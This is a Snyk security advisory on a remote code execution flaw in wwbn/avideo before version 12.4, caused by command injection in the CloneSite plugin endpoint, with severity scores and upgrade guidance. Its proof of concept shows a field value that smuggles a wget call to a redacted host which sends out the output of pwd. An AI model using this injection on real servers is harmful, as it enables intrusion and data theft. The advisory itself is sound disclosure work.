Remote Code Execution (RCE) Affecting wwbn/avideo package, versions <12.4


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.16% (53rd percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-WWBNAVIDEO-5488284
  • published 28 Apr 2023
  • disclosed 27 Apr 2023
  • credit jmrcsnchz

How to fix?

Upgrade wwbn/avideo to version 12.4 or higher.

Overview

wwbn/avideo is an Audio and Video Platform or simply "A Video Platform".

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to an OS Command Injection in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php.

PoC

{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]}

References